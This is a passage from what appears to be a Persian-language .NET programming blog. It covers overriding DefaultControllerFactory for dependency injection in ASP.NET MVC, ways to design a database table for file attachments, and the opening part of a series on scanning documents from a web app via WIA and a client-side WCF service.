    }
}

ب) تحریف و بازنویسی متدهای کلاس DefaultControllerFactory
 می‌توان متدهای کلاس مشتق شده‌ی از DefaultControllerFactory را override کرد و برای اهدافی نظیر DI از آن بهره جست. جدول ذیل سه متدی که می‌توان با تحریف آنها به مقصود رسید، توصیف شده‌اند:

 متد  نوع بازگشتی توضیحات
  CreateController   IController  پیاده سازی کننده‌ی متد Createontroller از اینترفیس IControllerFactory است و به صورت پیش فرض متد GetControllerType را جهت تعیین نوعی که باید وهله سازی شود، صدا می‌زند و سپس کنترلر وهله سازی شده را به متد GetControllerInstance ارسال می‌کند.
  GetControllerType   Type  وظیفه‌ی نگاشت درخواست رسیده را به Controller type عهده دار است.
GetControllerInstance IController وظیفه ایجاد وهله‌ای از نوع مشخص شده را عهده دار است.

شیوه‌ی تحریف متد GetControllerInstance 
public class StructureMapControllerFactory : DefaultControllerFactory
    {
        protected override IController GetControllerInstance(RequestContext requestContext, Type controllerType)
        {
            return ObjectFactory.GetInstance(controllerType) as Controller;
        }
    }
شیوه‌ی ثبت در فایل global.asax.cs و در متد Application_start :
 ControllerBuilder.Current.SetControllerFactory(new StructureMapControllerFactory());

نمونه‌ای عملی آن‌را در مقاله‌ی (EF Code First #12) و یا دوره‌ی «بررسی مفاهیم معکوس سازی وابستگی‌ها و ابزارهای مرتبط با آن» می‌توانید بررسی کنید.
مطالب
طراحی جدول فایل‌های پیوستی پایگاه داده
سناریو‌ی زیر را در نظر بگیرید:
می‌خواهید پروژه‌ای را انجام دهید که شامل جداول زیر است:
مقالات، اخبار، گالری تصاویر، گالری ویدیو، اسلایدشو، تبلیغات و ... و تمامی این جداول حداقل شامل یک فایل پیوست (عکس، فیلم، ...) می‌باشند. به طور مثال جدول مقالات دارای یک عکس نیز می‌باشد. قصد داریم تمام فایل‌ها را بر روی هاست ذخیره کرده و فقط آدرس و نام فایل را در دیتابیس ذخیره نمایم.

روش اول : استفاده از یک فیلد در هر جدول برای نگه دارای اسم فایل

مثال:
    public class Article
    {
        public int Id { get; set; }
        public string Title { get; set; }
        public string Body { get; set; }
        public string RegisterDate { get; set; }
        public string FileName { get; set; }
    }
معایب:
این روش فقط در صورتی پاسخگو می‌باشد که هر رکورد فقط شامل یک فایل باشد. به طور مثال ممکن است برای یک مقاله، چندین عکس و فایل را ضمیمه‌ی آن کنیم. در این حالت این روش پاسخ گو نمی‌باشد؛ ولی می‌توانیم به صورت زیر نیز عمل کنیم:
ایجاد جدولی برای نگهداری فایل‌های هر رکورد از مقاله :


public class ArticleFiles
{
        public int Id { get; set; }
        public string FielName { get; set; }
        public string FileExtension { get; set; } 
        public Article Article { get; set; }
        public int FileSize { get; set; }
}
 
روش دوم : ایجاد جدولی پایه برای نگهدارای تمام فایل‌های آپلود شده

می‌توانیم جدولی را به نام Attachment ایجاد کرده و هر فایلی را که آپلود می‌کنیم، مشخصات آن را در این جدول ذخیره کنیم و هر جدول هم که نیازی به فایل داشت، رابطه‌ای با این جدول برقرار کند. در این حالت خواهیم داشت:


public class Attachment
    {
        public int Id { get; set; }
        public string Title { get; set; }
        public string FileName { get; set; }
        public string Extension { get; set; }
        public DateTime RegisterDate { get; set; }
        public int Size { get; set; }
        public ICollection<Article> ArticleFiles { get; set; }
        public ICollection<News> NewsFiles { get; set; }
        public int Viewed { get; set; }
    }
در این حالت باید بین تمام جداولی که نیاز به فایل دارند، رابطه ای با جدول Attachment داشته باشد. به طور مثال بین جدول مقالات و جدول Attachment یک رابطه‌ی یک به چند برای لیست فایل‌ها وجود خواهد داشت.


روش سوم : جدولی برای نگه داری اسم فایل‌ها، بدون رابطه

جدول Attachment در این روش، همانند روش دوم می‌باشد؛ با دو تفاوت:
1- با هیچ جدولی رابطه‌ای ندارد.
2- دو فیلد به عنوان نام جدول و Id رکورد به آن اضافه شده است.
تفاوت نسبت به روش دوم:
در روش دوم، ثبت یک رکورد، وابسته‌ی به ثبت رکورد در جدول Attachment بود و ابتدا می‌بایستی فایل در Attachment ذخیره می‌شد و بعد از بدست آوردن Id آن، رکورد مورد نظر (مقاله) را درج می‌کردیم. ولی در این روش ابتدا مقاله درج شده و بعد از آن فایل را با اسم جدول و ID رکورد مورد نظر ذخیره می‌کنیم:
public class Attachment
    {
        public int Id { get; set; }
        public string Title { get; set; }
        public string FileName { get; set; }
        public string Extension { get; set; }
        public DateTime RegisterDate { get; set; }
        public int Size { get; set; }
        public string TableName { get; set; }
        public int RowId { get; set; }
        public int Viewed { get; set; }        
    }

حالت پنجم :

ایجاد یک کلاس پایه و ارث بری سایر کلاس‌ها از کلاس پایه و ایجاد رابطه‌ای بین کلاس پایه و کلاس‌های مشتق شده.

نظراتی پیرامون حالت‌های مختلف:

1- داشتن یک جدول الحاقات برای هر جدول
  • اضافه کردن یک فیلد: بعضی‌ها این روش را ترجیح می‌دهند. به این دلیل که هر جدول، یک جدول attachment مختص به خود دارد؛ با توجه به فیلدهایی که لازم است. به طور مثال ممکن است بعد از گذشت مدتی، نیاز باشد تا دو فیلد برای فایل‌های هر مقاله اضافه شوند که در این حالت فقط به جدول attachment مقاله اضافه خواهند شد.

2- داشتن یک جدول پایه که کل فایل‌ها در آن ذخیره شوند (روش‌های دوم و سوم)

  • متمرکز شدن کل فایل‌ها در یک جدول: بیشتر پروژه‌ها و یا برنامه نویسان (طبق تجربه‌ی بنده) یک جدول پایه را برای این منظور دوست دارند. به دلیل اینکه تمام اطلاعات یکجا باشد.
  • عدم آپلود چندین باره‌ی یک فایل: در این حالت می‌توان از یک فایل چندین بار در چند جای مختلف استفاده نمود و در فضای هاست صرفه جویی می‌شود. این روش مدیریت سختی دارد و نیازمند کوئری‌های بیشتری می‌باشد.
  • وجود فیلد‌های زیاد null در جدول: در این حالت ممکن است ردیف‌هایی با ستون‌های مقدار null در جدول زیاد شوند. فرض کنید دو فیلد در جدول attachment وجود دارند که فقط توسط جدول مقالات مورد استفاده قرار می‌گیرند و در بقیه‌ی جداول بدون استفاده می‌باشند.


از کدام روش استفاده کنیم؟

نمی توان پیشنهاد کرد که الزاما از کدامیک از روش‌های بالا باید استفاده کنیم؛ چون نیازمندهای‌های هر پروژه با هم متفات است و نمی‌توان نسخه‌ای خاص را برای همه تجویز کرد.

مطالب
کار با اسکنر در برنامه های تحت وب (قسمت اول)
در اکثر برنامه‌های سازمانی، مثل برنامه‌های مدیریت آرشیو اسناد، همواره این نیاز جزو خواسته‌های کاربران بوده که بتوانند به صورت مستقیم و از طریق تنها یک کلیک، تصویر مورد نظر را اسکن کرده و به صورت خودکار در برنامه وارد کنند؛ یعنی بدون اینکه نیاز باشد با استفاده از یک برنامه دیگر ابتدا تصویر را اسکن کرده و سپس در فرم وب، فایل اسکن شده را Browse کنند.
این نیاز اساسا به معنی دسترسی به سخت افزار کاربر از طریق مرورگر می‌باشد که به دلایل متعددی امکان پذیر نیست! مشکلات امنیتی ایجاد شده در این راه بسیار جدی است. اما خوشبختانه راههایی برای رسیدن به این هدف وجود دارند:

1- ActiveX : که به صورت native فقط در IE پشتیبانی می‌شود (در نسخه‌های جدیدتر IE نیاز به بروز رسانی پلاگین ActiveX controls می‌باشد) و برای استفاده‌ی از آن در مرورگر‌های Firefox و Chrome هم باید از پلاگین‌های جانبی روی هر مرورگر استفاده کرد که مثلا برای اجرای بر روی Firefox، باید افزونه‌ی IE Tab را نصب کرد که تنها کارش این است که سایت را از طریق موتور IE در پنجره‌ی فایرفاکس اجرا کند! که البته این مورد مثل این می‌ماند که سایت در IE باز شده باشد که ممکن است زیاد خوشایند نباشد؛ در غیر اینصورت باید پروژه را از اول بر مبنای اجرای بر روی IE طراحی و پیاده سازی کرد. در ضمن از مشکلات اجرای پلاگین نوشته شده توسط برنامه نویس در IE و نسخه‌های مختلف آن هم چشم پوشی می‌کنیم. یکی از مزیت‌های این روش نسبت به بقیه این هست که دانلود و نصب پلاگین مورد نیاز به صورت خودکار و توسط مرورگر انجام می‌شود.

2- استفاده از یک کامپوننت جانبی : مثل کامپوننت‌های LEADTOOLS که ابزارهای متنوع و SDK‌های بسیار قدرتمندی را برای اینکار و کارهای دیگر، مانند کار با اسکن تصاویر مغزی، پردازش تصویر، بارکد خوان‌ها، مدیریت اسناد و ...  فراهم کرده است. قیمت این ابزار بسیار زیاد است و در برخی موارد امکانات فراهم آورده بسیار بیشتر است از خواسته‌ی ما. این ابزار، هم در HTML & Javascript و هم در DotNet قابل استفاده است و مستندات نسبتا خوبی هم در این زمینه ارائه کرده است. همچنین کامپوننت Dynamsoft که باز هم غیر رایگان هست و قیمت بالایی نیز دارد.

اگر روال کار کامپوننت‌های بالا را مورد بررسی قرار دهید (از طریق اجرای Demo ها، اینجا و اینجا) متوجه خواهید شد که هر دو نیاز به نصب یک سرویس یا App سمت کلاینت جهت اجرای دستورات خود دارند. پس می‌شود اینطور نتیجه گرفت که انجام اینکار بدون اینکه چیزی سمت کاربر نصب شود، ممکن نیست و در هر دو، لینک نصب فایل exe سرویس برای دانلود قرار داده شده است. بر این اساس به راه حل سومی خواهیم رسید که خودمان این سرویس را جهت تعامل با اسکنر سمت کاربر طراحی و پیاده سازی نماییم.

اما چطور ممکن است که با اجرای یک فایل exe سمت کاربر (با این فرض که کاربر در یک دامین مطمئن قرار دارد و می‌شود درخواست نصب سرویس را نمود) این امکان را برای کاربر فراهم نمود که با یک کلیک در مرورگر، اسکنر به صورت خودکار اسکن را آغاز کرده و سپس تصویر حاصل را به یکی از کنترلر‌های ما در سمت سرور ارسال نماید؟

برای اینکار ما با دو صورت مساله مواجه هستیم؛ اول اینکه چطور تصویر را سمت کاربر اسکن کنیم و دوم اینکه چطور این تصویر را به سرور ارسال نماییم!
برای مساله‌ی اول از کتابخانه Windows Image Acquisition (WIA) استفاده خواهیم نمود که این کتابخانه به ما این امکان را میدهد تا با سخت افزارهایی که از TWAIN پشتیبانی می‌کنند، بتوانیم ارتباط برقرار نماییم.

برای مساله‌ی دوم هم نیاز به پیاده سازی یک WCF Service و اجرای آن (هاست کردن) در سمت کلاینت داریم. در واقع با صدا زدن متدهای این سرویس، از کتابخانه‌ی بالا استفاده کرده و اسکن را انجام می‌دهیم.

ادامه دارد...